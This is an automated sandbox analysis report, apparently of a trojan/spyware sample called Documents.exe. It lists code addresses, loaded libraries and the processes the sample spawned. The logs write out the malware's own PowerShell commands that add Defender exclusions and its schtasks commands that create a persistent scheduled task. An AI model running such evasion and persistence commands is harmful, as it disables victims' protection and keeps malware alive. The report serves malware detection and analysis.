Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014F3D40	9_2_014F3D40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_015A7D73	9_2_015A7D73
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0150FDC0	9_2_0150FDC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01569C32	9_2_01569C32
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_015AFCF2	9_2_015AFCF2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_015AFF09	9_2_015AFF09
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014F1F92	9_2_014F1F92
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_015AFFB1	9_2_015AFFB1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014F9EB0	9_2_014F9EB0
Source: C:\Users\user\AppData\Roaming\uFEeKIucsX.exe	Code function: 10_2_027443E8	10_2_027443E8
Source: C:\Users\user\AppData\Roaming\uFEeKIucsX.exe	Code function: 10_2_0274E094	10_2_0274E094
Source: C:\Users\user\AppData\Roaming\uFEeKIucsX.exe	Code function: 10_2_02747051	10_2_02747051
Source: C:\Users\user\AppData\Roaming\uFEeKIucsX.exe	Code function: 10_2_055FF788	10_2_055FF788
Source: C:\Users\user\AppData\Roaming\uFEeKIucsX.exe	Code function: 10_2_055F41C4	10_2_055F41C4
Source: C:\Users\user\AppData\Roaming\uFEeKIucsX.exe	Code function: 10_2_055F6D32	10_2_055F6D32
Source: C:\Users\user\AppData\Roaming\uFEeKIucsX.exe	Code function: 10_2_055FF778	10_2_055FF778
Source: C:\Users\user\AppData\Roaming\uFEeKIucsX.exe	Code function: 10_2_055F0040	10_2_055F0040
Source: C:\Users\user\AppData\Roaming\uFEeKIucsX.exe	Code function: 10_2_055FC840	10_2_055FC840
Source: C:\Users\user\AppData\Roaming\uFEeKIucsX.exe	Code function: 10_2_055FC830	10_2_055FC830
Source: C:\Users\user\AppData\Roaming\uFEeKIucsX.exe	Code function: 10_2_055FCAD8	10_2_055FCAD8
Source: C:\Users\user\AppData\Roaming\uFEeKIucsX.exe	Code function: 10_2_055FCAC7	10_2_055FCAC7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 15_2_01120100	15_2_01120100
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 15_2_01176000	15_2_01176000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 15_2_011B02C0	15_2_011B02C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 15_2_01130535	15_2_01130535
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 15_2_01154750	15_2_01154750
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 15_2_01130770	15_2_01130770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 15_2_0112C7C0	15_2_0112C7C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 15_2_0114C6E0	15_2_0114C6E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 15_2_01146962	15_2_01146962
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 15_2_011329A0	15_2_011329A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 15_2_01132840	15_2_01132840
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 15_2_0113A840	15_2_0113A840
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 15_2_01168890	15_2_01168890
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 15_2_011168B8	15_2_011168B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 15_2_0115E8F0	15_2_0115E8F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 15_2_0112EA80	15_2_0112EA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 15_2_0113AD00	15_2_0113AD00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 15_2_0113ED7A	15_2_0113ED7A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 15_2_01148DBF	15_2_01148DBF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 15_2_01138DC0	15_2_01138DC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 15_2_0112ADE0	15_2_0112ADE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 15_2_01130C00	15_2_01130C00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 15_2_01120CF2	15_2_01120CF2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 15_2_01150F30	15_2_01150F30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 15_2_01172F28	15_2_01172F28
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 15_2_011A4F40	15_2_011A4F40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 15_2_011AEFA0	15_2_011AEFA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 15_2_01122FC8	15_2_01122FC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 15_2_01130E59	15_2_01130E59
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 15_2_01142E90	15_2_01142E90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 15_2_0111F172	15_2_0111F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 15_2_0116516C	15_2_0116516C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 15_2_0113B1B0	15_2_0113B1B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 15_2_0111D34C	15_2_0111D34C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 15_2_011333F3	15_2_011333F3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 15_2_011352A0	15_2_011352A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 15_2_0114B2C0	15_2_0114B2C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 15_2_0114D2F0	15_2_0114D2F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 15_2_01121460	15_2_01121460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 15_2_01133497	15_2_01133497
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 15_2_011774E0	15_2_011774E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 15_2_0113B730	15_2_0113B730
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 15_2_01139950	15_2_01139950
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 15_2_0114B950	15_2_0114B950
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 15_2_01135990	15_2_01135990
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 15_2_0119D800	15_2_0119D800
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 15_2_011338E0	15_2_011338E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 15_2_0114FB80	15_2_0114FB80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 15_2_011A5BF0	15_2_011A5BF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 15_2_0116DBF9	15_2_0116DBF9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 15_2_011A3A6C	15_2_011A3A6C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 15_2_01133D40	15_2_01133D40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 15_2_0114FDC0	15_2_0114FDC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 15_2_011A9C32	15_2_011A9C32
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 15_2_01149C20	15_2_01149C20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 15_2_01131F92	15_2_01131F92
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 15_2_01139EB0	15_2_01139EB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 15_2_0042EDF3	15_2_0042EDF3
Source: C:\Program Files (x86)\hzuGXVXlIlqhzTaLrsoahghOMClgjaLtkeNhEYzbfIMXqVfl\vWFGbvOdxI.exe	Code function: 16_2_029EEB5C	16_2_029EEB5C
Source: C:\Program Files (x86)\hzuGXVXlIlqhzTaLrsoahghOMClgjaLtkeNhEYzbfIMXqVfl\vWFGbvOdxI.exe	Code function: 16_2_029E635C	16_2_029E635C
Source: C:\Program Files (x86)\hzuGXVXlIlqhzTaLrsoahghOMClgjaLtkeNhEYzbfIMXqVfl\vWFGbvOdxI.exe	Code function: 16_2_029EEB57	16_2_029EEB57
Source: C:\Program Files (x86)\hzuGXVXlIlqhzTaLrsoahghOMClgjaLtkeNhEYzbfIMXqVfl\vWFGbvOdxI.exe	Code function: 16_2_029E837C	16_2_029E837C
Source: C:\Program Files (x86)\hzuGXVXlIlqhzTaLrsoahghOMClgjaLtkeNhEYzbfIMXqVfl\vWFGbvOdxI.exe	Code function: 16_2_02A0708C	16_2_02A0708C
Source: C:\Program Files (x86)\hzuGXVXlIlqhzTaLrsoahghOMClgjaLtkeNhEYzbfIMXqVfl\vWFGbvOdxI.exe	Code function: 16_2_029E815C	16_2_029E815C
Source: C:\Program Files (x86)\hzuGXVXlIlqhzTaLrsoahghOMClgjaLtkeNhEYzbfIMXqVfl\vWFGbvOdxI.exe	Code function: 16_2_029E64AC	16_2_029E64AC
Source: C:\Program Files (x86)\hzuGXVXlIlqhzTaLrsoahghOMClgjaLtkeNhEYzbfIMXqVfl\vWFGbvOdxI.exe	Code function: 16_2_029E64A0	16_2_029E64A0
Source: C:\Program Files (x86)\hzuGXVXlIlqhzTaLrsoahghOMClgjaLtkeNhEYzbfIMXqVfl\vWFGbvOdxI.exe	Code function: 16_2_029E64F5	16_2_029E64F5
Source: C:\Program Files (x86)\hzuGXVXlIlqhzTaLrsoahghOMClgjaLtkeNhEYzbfIMXqVfl\vWFGbvOdxI.exe	Code function: 16_2_029DC5EF	16_2_029DC5EF

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: String function: 0119EA12 appears 36 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: String function: 01537E54 appears 102 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: String function: 0155EA12 appears 86 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: String function: 01177E54 appears 97 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: String function: 01525130 appears 58 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: String function: 014DB970 appears 280 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: String function: 0156F290 appears 105 times

Source: Documents.exe

Static PE information: invalid certificate

Source: Documents.exe, 00000000.00000002.2156644192.0000000004359000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameArthur.dll" vs Documents.exe
Source: Documents.exe, 00000000.00000002.2160027953.0000000005BD0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameArthur.dll" vs Documents.exe
Source: Documents.exe, 00000000.00000002.2163169928.00000000078D0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameMontero.dll8 vs Documents.exe
Source: Documents.exe, 00000000.00000002.2156644192.0000000004372000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMontero.dll8 vs Documents.exe
Source: Documents.exe, 00000000.00000002.2147309515.00000000013BE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs Documents.exe
Source: Documents.exe	Binary or memory string: OriginalFilenameXiBt.exe: vs Documents.exe

Source: Documents.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: Documents.exe	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: uFEeKIucsX.exe.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 0.2.Documents.exe.78d0000.4.raw.unpack, iavCtQFueCRVgf9V4b.cs	Security API names: _0020.SetAccessControl
Source: 0.2.Documents.exe.78d0000.4.raw.unpack, iavCtQFueCRVgf9V4b.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.Documents.exe.78d0000.4.raw.unpack, iavCtQFueCRVgf9V4b.cs	Security API names: _0020.AddAccessRule
Source: 0.2.Documents.exe.4406868.1.raw.unpack, iavCtQFueCRVgf9V4b.cs	Security API names: _0020.SetAccessControl
Source: 0.2.Documents.exe.4406868.1.raw.unpack, iavCtQFueCRVgf9V4b.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.Documents.exe.4406868.1.raw.unpack, iavCtQFueCRVgf9V4b.cs	Security API names: _0020.AddAccessRule
Source: 0.2.Documents.exe.78d0000.4.raw.unpack, OANgdeAkH9yusRxXWr.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.Documents.exe.4406868.1.raw.unpack, OANgdeAkH9yusRxXWr.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@23/16@14/13

Source: C:\Users\user\Desktop\Documents.exe

File created: C:\Users\user\AppData\Roaming\uFEeKIucsX.exe

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6972:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5356:120:WilError_03
Source: C:\Users\user\AppData\Roaming\uFEeKIucsX.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2000:120:WilError_03
Source: C:\Users\user\AppData\Roaming\uFEeKIucsX.exe	Mutant created: \Sessions\1\BaseNamedObjects\IKdbVkUUpHft
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:320:120:WilError_03

Source: C:\Users\user\Desktop\Documents.exe

File created: C:\Users\user\AppData\Local\Temp\tmp2505.tmp

Source: Documents.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: Documents.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 50.01%

Source: C:\Users\user\Desktop\Documents.exe

File read: C:\Users\user\Desktop\desktop.ini

Source: C:\Users\user\Desktop\Documents.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: systray.exe, 00000011.00000002.4498880450.000000000074C000.00000004.00000020.00020000.00000000.sdmp, systray.exe, 00000011.00000002.4498880450.0000000000742000.00000004.00000020.00020000.00000000.sdmp, systray.exe, 00000011.00000003.2523917187.0000000000742000.00000004.00000020.00020000.00000000.sdmp, systray.exe, 00000011.00000003.2523806347.0000000000721000.00000004.00000020.00020000.00000000.sdmp, systray.exe, 00000011.00000002.4498880450.000000000076D000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: Documents.exe

ReversingLabs: Detection: 23%

Source: C:\Users\user\Desktop\Documents.exe

File read: C:\Users\user\Desktop\Documents.exe

Source: unknown	Process created: C:\Users\user\Desktop\Documents.exe "C:\Users\user\Desktop\Documents.exe"
Source: C:\Users\user\Desktop\Documents.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Documents.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Documents.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\uFEeKIucsX.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Documents.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\uFEeKIucsX" /XML "C:\Users\user\AppData\Local\Temp\tmp2505.tmp"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Documents.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\uFEeKIucsX.exe C:\Users\user\AppData\Roaming\uFEeKIucsX.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Users\user\AppData\Roaming\uFEeKIucsX.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\uFEeKIucsX" /XML "C:\Users\user\AppData\Local\Temp\tmp4E47.tmp"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\uFEeKIucsX.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
Source: C:\Program Files (x86)\hzuGXVXlIlqhzTaLrsoahghOMClgjaLtkeNhEYzbfIMXqVfl\vWFGbvOdxI.exe	Process created: C:\Windows\SysWOW64\systray.exe "C:\Windows\SysWOW64\systray.exe"
Source: C:\Windows\SysWOW64\systray.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
Source: C:\Users\user\Desktop\Documents.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Documents.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Documents.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\uFEeKIucsX.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Documents.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\uFEeKIucsX" /XML "C:\Users\user\AppData\Local\Temp\tmp2505.tmp"	Jump to behavior
Source: C:\Users\user\Desktop\Documents.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uFEeKIucsX.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\uFEeKIucsX" /XML "C:\Users\user\AppData\Local\Temp\tmp4E47.tmp"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uFEeKIucsX.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"	Jump to behavior
Source: C:\Program Files (x86)\hzuGXVXlIlqhzTaLrsoahghOMClgjaLtkeNhEYzbfIMXqVfl\vWFGbvOdxI.exe	Process created: C:\Windows\SysWOW64\systray.exe "C:\Windows\SysWOW64\systray.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\systray.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"

Source: C:\Users\user\Desktop\Documents.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\Documents.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Documents.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Documents.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Documents.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Documents.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Documents.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Documents.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Documents.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Documents.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Documents.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Documents.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Documents.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Documents.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Documents.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\Documents.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Documents.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Documents.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Documents.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Documents.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\Desktop\Documents.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\Documents.exe	Section loaded: iconcodecservice.dll	Jump to behavior
Source: C:\Users\user\Desktop\Documents.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\Documents.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Documents.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\Documents.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Documents.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Documents.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Documents.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\Documents.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Documents.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Documents.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\Documents.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\Documents.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Documents.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Documents.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\Documents.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\Documents.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
